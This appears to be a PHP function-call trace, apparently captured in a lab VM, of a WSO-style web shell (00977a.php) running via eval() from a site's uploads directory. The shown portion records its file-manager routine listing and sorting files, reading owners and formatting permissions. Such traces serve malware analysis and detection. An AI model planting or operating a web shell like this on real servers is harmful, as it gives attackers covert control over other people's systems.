5 A /var/www/html/uploads/00977a.php(4) : eval()'d code 693 $i .= '-'
5 A /var/www/html/uploads/00977a.php(4) : eval()'d code 695 $i .= '-'
5 127 1 0.012850 1153144
5 127 R '-rw-rw-r--'
4 123 1 0.012865 1153168
4 123 R '<font color=white>-rw-rw-r--</font>'
4 128 0 0.012881 1153168 filesize 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1286 1 '/var/www/html/uploads/00977a.php'
4 128 1 0.012896 1153208
4 128 R 111063
3 A /var/www/html/uploads/00977a.php(4) : eval()'d code 1290 $tmp = ['name' => '00977a.php', 'path' => '/var/www/html/uploads/00977a.php', 'modify' => '2023-02-12 21:32:30', 'perms' => '<font color=white>-rw-rw-r--</font>', 'size' => 111063, 'owner' => 'osboxes', 'group' => 'osboxes']
4 129 0 0.012933 1152792 is_file 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1294 1 '/var/www/html/uploads/00977a.php'
4 129 1 0.012953 1152832
4 129 R TRUE
4 130 0 0.012967 1152728 array_merge 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1296 2 ['name' => '00977a.php', 'path' => '/var/www/html/uploads/00977a.php', 'modify' => '2023-02-12 21:32:30', 'perms' => '<font color=white>-rw-rw-r--</font>', 'size' => 111063, 'owner' => 'osboxes', 'group' => 'osboxes'] ['type' => 'file']
4 130 1 0.013014 1153168
4 130 R ['name' => '00977a.php', 'path' => '/var/www/html/uploads/00977a.php', 'modify' => '2023-02-12 21:32:30', 'perms' => '<font color=white>-rw-rw-r--</font>', 'size' => 111063, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file']
3 A /var/www/html/uploads/00977a.php(4) : eval()'d code 1296 $files[] = ['name' => '00977a.php', 'path' => '/var/www/html/uploads/00977a.php', 'modify' => '2023-02-12 21:32:30', 'perms' => '<font color=white>-rw-rw-r--</font>', 'size' => 111063, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file']
3 A /var/www/html/uploads/00977a.php(4) : eval()'d code 1272 $i++
4 131 0 0.013074 1153104 fileowner 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1274 1 'data'
4 131 1 0.013091 1153112
4 131 R 0
4 132 0 0.013104 1153072 posix_getpwuid 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1274 1 0
4 132 1 0.013129 1153872
4 132 R ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
3 A /var/www/html/uploads/00977a.php(4) : eval()'d code 1274 $ow = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4 133 0 0.013171 1153088 filegroup 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1276 1 'data'
4 133 1 0.013185 1153128
4 133 R 0
4 134 0 0.013198 1153088 posix_getgrgid 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1276 1 0
4 134 1 0.013221 1153744
4 134 R ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
3 A /var/www/html/uploads/00977a.php(4) : eval()'d code 1276 $gr = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4 135 0 0.013258 1153608 filemtime 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1282 1 '/var/www/html/uploads/data'
4 135 1 0.013274 1153672
4 135 R 1676255550
4 136 0 0.013287 1153576 date 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1282 2 'Y-m-d H:i:s' 1676255550
4 136 1 0.013319 1153904
4 136 R '2023-02-12 21:32:30'
4 137 0 0.013334 1153888 wsoPermsColor 1 /var/www/html/uploads/00977a.php(4) : eval()'d code 1284 1 '/var/www/html/uploads/data'
5 138 0 0.013348 1153888 is_readable 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 704 1 '/var/www/html/uploads/data'
5 138 1 0.013364 1153928
5 138 R TRUE
5 139 0 0.013377 1153888 is_writable 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 708 1 '/var/www/html/uploads/data'
5 139 1 0.013393 1153928
5 139 R TRUE
5 140 0 0.013405 1153888 fileperms 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 714 1 '/var/www/html/uploads/data'
5 140 1 0.013419 1153928
5 140 R 16895
5 141 0 0.013432 1153888 wsoPerms 1 /var/www/html/uploads/00977a.php(4) : eval()'d code 714 1 16895
5 A /var/www/html/uploads/00977a.php(4) : eval()'d code 671 $i = 'd'
5 A /var/www/html/uploads/00977a.php(4) : eval()'d code 679 $i .= 'r'
5 A /var/www/html/uploads/00977a.php(4) : eval()'d code 681 $i .= 'w'
5 A /var/www/html/uploads/00977a.php(4) : eval()'d code 683 $i .= 'x'
5 A /var/www/html/uploads/00977a.php(4) : eval()'d code 685 $i .= 'r'
5 A /var/www/html/uploads/00977a.php(4) : eval()'d code 687 $i .= 'w'
5 A /var/www/html/uploads/00977a.php(4) : eval()'d code 689 $i .= 'x'
5 A /var/www/html/uploads/00977a.php(4) : eval()'d code 691 $i .= 'r'
5 A /var/www/html/uploads/00977a.php(4) : eval()'d code 693 $i .= 'w'
5 A /var/www/html/uploads/00977a.php(4) : eval()'d code 695 $i .= 'x'
5 141 1 0.013550 1153928
5 141 R 'drwxrwxrwx'
4 137 1 0.013564 1153952
4 137 R '<font color=#25ff00>drwxrwxrwx</font>'
4 142 0 0.013581 1153952 filesize 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1286 1 '/var/www/html/uploads/data'
4 142 1 0.013595 1153992
4 142 R 4096
3 A /var/www/html/uploads/00977a.php(4) : eval()'d code 1290 $tmp = ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 21:32:30', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root']
4 143 0 0.013631 1153576 is_file 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1294 1 '/var/www/html/uploads/data'
4 143 1 0.013649 1153616
4 143 R FALSE
4 144 0 0.013663 1153576 is_link 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1298 1 '/var/www/html/uploads/data'
4 144 1 0.013679 1153616
4 144 R FALSE
4 145 0 0.013692 1153576 is_dir 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1302 1 '/var/www/html/uploads/data'
4 145 1 0.013706 1153616
4 145 R TRUE
4 146 0 0.013719 1153520 array_merge 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1304 2 ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 21:32:30', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root'] ['type' => 'dir']
4 146 1 0.013742 1153960
4 146 R ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 21:32:30', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']
3 A /var/www/html/uploads/00977a.php(4) : eval()'d code 1304 $dirs[] = ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 21:32:30', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']
3 A /var/www/html/uploads/00977a.php(4) : eval()'d code 1272 $i++
4 147 0 0.013801 1153896 fileowner 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1274 1 'prepend.php'
4 147 1 0.013816 1153920
4 147 R 0
4 148 0 0.013829 1153880 posix_getpwuid 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1274 1 0
4 148 1 0.013853 1154680
4 148 R ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
3 A /var/www/html/uploads/00977a.php(4) : eval()'d code 1274 $ow = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4 149 0 0.013894 1153912 filegroup 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1276 1 'prepend.php'
4 149 1 0.013908 1153952
4 149 R 0
4 150 0 0.013921 1153912 posix_getgrgid 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1276 1 0
4 150 1 0.013942 1154568
4 150 R ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
3 A /var/www/html/uploads/00977a.php(4) : eval()'d code 1276 $gr = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4 151 0 0.013979 1154448 filemtime 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1282 1 '/var/www/html/uploads/prepend.php'
4 151 1 0.013996 1154512
4 151 R 1676255550
4 152 0 0.014009 1154408 date 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1282 2 'Y-m-d H:i:s' 1676255550
4 152 1 0.014041 1154736
4 152 R '2023-02-12 21:32:30'
4 153 0 0.014055 1154728 wsoPermsColor 1 /var/www/html/uploads/00977a.php(4) : eval()'d code 1284 1 '/var/www/html/uploads/prepend.php'
5 154 0 0.014070 1154728 is_readable 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 704 1 '/var/www/html/uploads/prepend.php'
5 154 1 0.014086 1154768
5 154 R TRUE
5 155 0 0.014099 1154728 is_writable 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 708 1 '/var/www/html/uploads/prepend.php'
5 155 1 0.014115 1154768
5 155 R FALSE
5 156 0 0.014129 1154728 fileperms 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 710 1 '/var/www/html/uploads/prepend.php'
5 156 1 0.014143 1154768
5 156 R 33261
5 157 0 0.014155 1154728 wsoPerms 1 /var/www/html/uploads/00977a.php(4) : eval()'d code 710 1 33261
5 A /var/www/html/uploads/00977a.php(4) : eval()'d code 667 $i = '-'
5 A /var/www/html/uploads/00977a.php(4) : eval()'d code 679 $i .= 'r'
5 A /var/www/html/uploads/00977a.php(4) : eval()'d code 681 $i .= 'w'
5 A /var/www/html/uploads/00977a.php(4) : eval()'d code 683 $i .= 'x'
5 A /var/www/html/uploads/00977a.php(4) : eval()'d code 685 $i .= 'r'
5 A /var/www/html/uploads/00977a.php(4) : eval()'d code 687 $i .= '-'
5 A /var/www/html/uploads/00977a.php(4) : eval()'d code 689 $i .= 'x'
5 A /var/www/html/uploads/00977a.php(4) : eval()'d code 691 $i .= 'r'
5 A /var/www/html/uploads/00977a.php(4) : eval()'d code 693 $i .= '-'
5 A /var/www/html/uploads/00977a.php(4) : eval()'d code 695 $i .= 'x'
5 157 1 0.014273 1154768
5 157 R '-rwxr-xr-x'
4 153 1 0.014287 1154792
4 153 R '<font color=white>-rwxr-xr-x</font>'
4 158 0 0.014307 1154792 filesize 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1286 1 '/var/www/html/uploads/prepend.php'
4 158 1 0.014322 1154832
4 158 R 57
3 A /var/www/html/uploads/00977a.php(4) : eval()'d code 1290 $tmp = ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 21:32:30', 'perms' => '<font color=white>-rwxr-xr-x</font>', 'size' => 57, 'owner' => 'root', 'group' => 'root']
4 159 0 0.014358 1154416 is_file 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1294 1 '/var/www/html/uploads/prepend.php'
4 159 1 0.014373 1154456
4 159 R TRUE
4 160 0 0.014386 1154352 array_merge 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1296 2 ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 21:32:30', 'perms' => '<font color=white>-rwxr-xr-x</font>', 'size' => 57, 'owner' => 'root', 'group' => 'root'] ['type' => 'file']
4 160 1 0.014409 1154792
4 160 R ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 21:32:30', 'perms' => '<font color=white>-rwxr-xr-x</font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']
3 A /var/www/html/uploads/00977a.php(4) : eval()'d code 1296 $files[] = ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 21:32:30', 'perms' => '<font color=white>-rwxr-xr-x</font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']
3 A /var/www/html/uploads/00977a.php(4) : eval()'d code 1272 $i++
3 A /var/www/html/uploads/00977a.php(4) : eval()'d code 1308 GLOBALS['sort'] = [0 => 'name', 1 => 1]
4 161 0 0.014484 1154752 usort 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1322 2 [0 => ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 21:32:30', 'perms' => '<font color=white>-rw-r--r--</font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file'], 1 => ['name' => '00977a.php', 'path' => '/var/www/html/uploads/00977a.php', 'modify' => '2023-02-12 21:32:30', 'perms' => '<font color=white>-rw-rw-r--</font>', 'size' => 111063, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file'], 2 => ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 21:32:30', 'perms' => '<font color=white>-rwxr-xr-x</font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']] 'wsoCmp'
5 162 0 0.014521 1155200 wsoCmp 1 /var/www/html/uploads/00977a.php(4) : eval()'d code 1322 2 ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 21:32:30', 'perms' => '<font color=white>-rw-r--r--</font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file'] ['name' => '00977a.php', 'path' => '/var/www/html/uploads/00977a.php', 'modify' => '2023-02-12 21:32:30', 'perms' => '<font color=white>-rw-rw-r--</font>', 'size' => 111063, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file']
6 163 0 0.014551 1155200 strtolower 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1314 1 '.htaccess'
6 163 1 0.014565 1155232
6 163 R '.htaccess'
6 164 0 0.014580 1155200 strtolower 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1314 1 '00977a.php'
6 164 1 0.014593 1155232
6 164 R '00977a.php'
6 165 0 0.014607 1155200 strcmp 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1314 2 '.htaccess' '00977a.php'
6 165 1 0.014621 1155264
6 165 R -1
5 162 1 0.014634 1155200
5 162 R -1
5 166 0 0.014646 1155200 wsoCmp 1 /var/www/html/uploads/00977a.php(4) : eval()'d code 1322 2 ['name' => '00977a.php', 'path' => '/var/www/html/uploads/00977a.php', 'modify' => '2023-02-12 21:32:30', 'perms' => '<font color=white>-rw-rw-r--</font>', 'size' => 111063, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file'] ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 21:32:30', 'perms' => '<font color=white>-rwxr-xr-x</font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']
6 167 0 0.014675 1155200 strtolower 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1314 1 '00977a.php'
6 167 1 0.014688 1155232
6 167 R '00977a.php'
6 168 0 0.014702 1155200 strtolower 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1314 1 'prepend.php'
6 168 1 0.014715 1155232
6 168 R 'prepend.php'
6 169 0 0.014729 1155200 strcmp 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1314 2 '00977a.php' 'prepend.php'
6 169 1 0.014743 1155264
6 169 R -1
5 166 1 0.014756 1155200
5 166 R -1
4 161 1 0.014769 1154824
4 161 R TRUE
4 170 0 0.014782 1154776 usort 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1324 2 [0 => ['name' => '.', 'path' => '/var/www/html/uploads/.', 'modify' => '2023-02-12 21:32:30', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 1 => ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 21:32:30', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 2 => ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 21:32:30', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']] 'wsoCmp'
5 171 0 0.014815 1155224 wsoCmp 1 /var/www/html/uploads/00977a.php(4) : eval()'d code 1324 2 ['name' => '.', 'path' => '/var/www/html/uploads/.', 'modify' => '2023-02-12 21:32:30', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'] ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 21:32:30', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']
6 172 0 0.014842 1155224 strtolower 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1314 1 '.'
6 172 1 0.014855 1155256
6 172 R '.'
6 173 0 0.014868 1155224 strtolower 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1314 1 '..'
6 173 1 0.014881 1155256
6 173 R '..'
6 174 0 0.014894 1155224 strcmp 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1314 2 '.' '..'
6 174 1 0.014912 1155288
6 174 R -1
5 171 1 0.014925 1155224
5 171 R -1
5 175 0 0.014938 1155224 wsoCmp 1 /var/www/html/uploads/00977a.php(4) : eval()'d code 1324 2 ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 21:32:30', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'] ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 21:32:30', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']
6 176 0 0.014965 1155224 strtolower 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1314 1 '..'
6 176 1 0.014978 1155256
6 176 R '..'
6 177 0 0.014991 1155224 strtolower 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1314 1 'data'
6 177 1 0.015004 1155256
6 177 R 'data'
6 178 0 0.015017 1155224 strcmp 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1314 2 '..' 'data'
6 178 1 0.015030 1155288
6 178 R -3552051
5 175 1 0.015044 1155224
5 175 R -3552051
4 170 1 0.015057 1154848
4 170 R TRUE
4 179 0 0.015070 1154776 array_merge 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1326 2 [0 => ['name' => '.', 'path' => '/var/www/html/uploads/.', 'modify' => '2023-02-12 21:32:30', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 1 => ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 21:32:30', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 2 => ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 21:32:30', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']] [0 => ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 21:32:30', 'perms' => '<font color=white>-rw-r--r--</font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file'], 1 => ['name' => '00977a.php', 'path' => '/var/www/html/uploads/00977a.php', 'modify' => '2023-02-12 21:32:30', 'perms' => '<font color=white>-rw-rw-r--</font>', 'size' => 111063, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file'], 2 => ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 21:32:30', 'perms' => '<font color=white>-rwxr-xr-x</font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']]
4 179 1 0.015122 1155216
4 179 R [0 => ['name' => '.', 'path' => '/var/www/html/uploads/.', 'modify' => '2023-02-12 21:32:30', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 1 => ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 21:32:30', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 2 => ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 21:32:30', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 3 => ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 21:32:30', 'perms' => '<font color=white>-rw-r--r--</font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file'], 4 => ['name' => '00977a.php', 'path' => '/var/www/html/uploads/00977a.php', 'modify' => '2023-02-12 21:32:30', 'perms' => '<font color=white>-rw-rw-r--</font>', 'size' => 111063, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file'], 5 => ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 21:32:30', 'perms' => '<font color=white>-rwxr-xr-x</font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']]
3 A /var/www/html/uploads/00977a.php(4) : eval()'d code 1326 $files = [0 => ['name' => '.', 'path' => '/var/www/html/uploads/.', 'modify' => '2023-02-12 21:32:30', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 1 => ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 21:32:30', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 2 => ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 21:32:30', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 3 => ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 21:32:30', 'perms' => '<font color=white>-rw-r--r--</font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file'], 4 => ['name' => '00977a.php', 'path' => '/var/www/html/uploads/00977a.php', 'modify' => '2023-02-12 21:32:30', 'perms' => '<font color=white>-rw-rw-r--</font>', 'size' => 111063, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file'], 5 => ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 21:32:30', 'perms' => '<font color=white>-rwxr-xr-x</font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']]
3 A /var/www/html/uploads/00977a.php(4) : eval()'d code 1328 $l = 0
4 180 0 0.015242 1154856 urlencode 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1332 1 '.'
4 180 1 0.015257 1154920
4 180 R '.'
4 181 0 0.015271 1154984 htmlspecialchars 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1332 1 '.'
4 181 1 0.015287 1155176
4 181 R '.'
4 182 0 0.015302 1155096 urlencode 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1332 1 '.'
4 182 1 0.015315 1155160
4 182 R '.'
4 183 0 0.015328 1155160 urlencode 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1334 1 '.'
4 183 1 0.015341 1155224
4 183 R '.'
4 184 0 0.015354 1155224 urlencode 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1334 1 '.'
4 184 1 0.015367 1155288
4 184 R '.'
3 A /var/www/html/uploads/00977a.php(4) : eval()'d code 1336 $l = 1
4 185 0 0.015392 1154872 urlencode 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1332 1 '..'
4 185 1 0.015405 1154936
4 185 R '..'
4 186 0 0.015419 1154984 htmlspecialchars 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1332 1 '..'
4 186 1 0.015432 1155176
4 186 R '..'
4 187 0 0.015446 1155096 urlencode 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1332 1 '..'
4 187 1 0.015459 1155160
4 187 R '..'
4 188 0 0.015472 1155224 urlencode 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1334 1 '..'
4 188 1 0.015484 1155288
4 188 R '..'
4 189 0 0.015497 1155288 urlencode 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1334 1 '..'
4 189 1 0.015509 1155352
4 189 R '..'
3 A /var/www/html/uploads/00977a.php(4) : eval()'d code 1336 $l = 0
4 190 0 0.015534 1154856 urlencode 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1332 1 'data'
4 190 1 0.015547 1154920
4 190 R 'data'
4 191 0 0.015561 1154984 htmlspecialchars 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1332 1 'data'
4 191 1 0.015574 1155176
4 191 R 'data'
4 192 0 0.015588 1155096 urlencode 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1332 1 'data'
4 192 1 0.015602 1155160
4 192 R 'data'
4 193 0 0.015619 1155224 urlencode 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1334 1 'data'
4 193 1 0.015632 1155288
4 193 R 'data'
4 194 0 0.015645 1155288 urlencode 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1334 1 'data'
4 194 1 0.015657 1155352
4 194 R 'data'
3 A /var/www/html/uploads/00977a.php(4) : eval()'d code 1336 $l = 1
4 195 0 0.015682 1154872 urlencode 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1332 1 '.htaccess'
4 195 1 0.015695 1154944
4 195 R '.htaccess'
4 196 0 0.015709 1154936 urlencode 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1332 1 '.htaccess'
4 196 1 0.015722 1155008
4 196 R '.htaccess'
4 197 0 0.015735 1155016 htmlspecialchars 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1332 1 '.htaccess'
4 197 1 0.015749 1155208
4 197 R '.htaccess'
4 198 0 0.015763 1155000 wsoViewSize 1 /var/www/html/uploads/00977a.php(4) : eval()'d code 1332 1 64
5 199 0 0.015777 1155000 sprintf 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 638 2 '%u' 64
5 199 1 0.015792 1155384
5 199 R '64'
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 638 $s = '64'
4 198 1 0.015817 1155032
4 198 R '64 B'
4 200 0 0.015831 1155096 urlencode 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1332 1 '.htaccess'
4 200 1 0.015844 1155168
4 200 R '.htaccess'
4 201 0 0.015858 1155224 urlencode 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1334 1 '.htaccess'
4 201 1 0.015871 1155296
4 201 R '.htaccess'
4 202 0 0.015884 1155288 urlencode 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1334 1 '.htaccess'
4 202 1 0.015897 1155360
4 202 R '.htaccess'
4 203 0 0.015911 1155288 urlencode 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1334 1 '.htaccess'
4 203 1 0.015924 1155360
4 203 R '.htaccess'
4 204 0 0.015937 1155448 urlencode 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1334 1 '.htaccess'
4 204 1 0.015950 1155520
4 204 R '.htaccess'
3 A /var/www/html/uploads/00977a.php(4) : eval()'d code 1336 $l = 0
4 205 0 0.015975 1154856 urlencode 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1332 1 '00977a.php'
4 205 1 0.015989 1154928
4 205 R '00977a.php'
4 206 0 0.016002 1154904 urlencode 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1332 1 '00977a.php'
4 206 1 0.016016 1154976
4 206 R '00977a.php'
4 207 0 0.016030 1154984 htmlspecialchars 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1332 1 '00977a.php'
4 207 1 0.016043 1155176
4 207 R '00977a.php'
4 208 0 0.016057 1154968 wsoViewSize 1 /var/www/html/uploads/00977a.php(4) : eval()'d code 1332 1 111063
5 209 0 0.016071 1154968 sprintf 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 638 2 '%u' 111063
5 209 1 0.016085 1155352
5 209 R '111063'
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 638 $s = '111063'
5 210 0 0.016110 1155288 sprintf 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 652 2 '%1.2f' 108.4599609375
5 210 1 0.016126 1155672
5 210 R '108.46'
4 208 1 0.016139 1155008
4 208 R '108.46 KB'
4 211 0 0.016153 1155096 urlencode 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1332 1 '00977a.php'
4 211 1 0.016167 1155168
4 211 R '00977a.php'
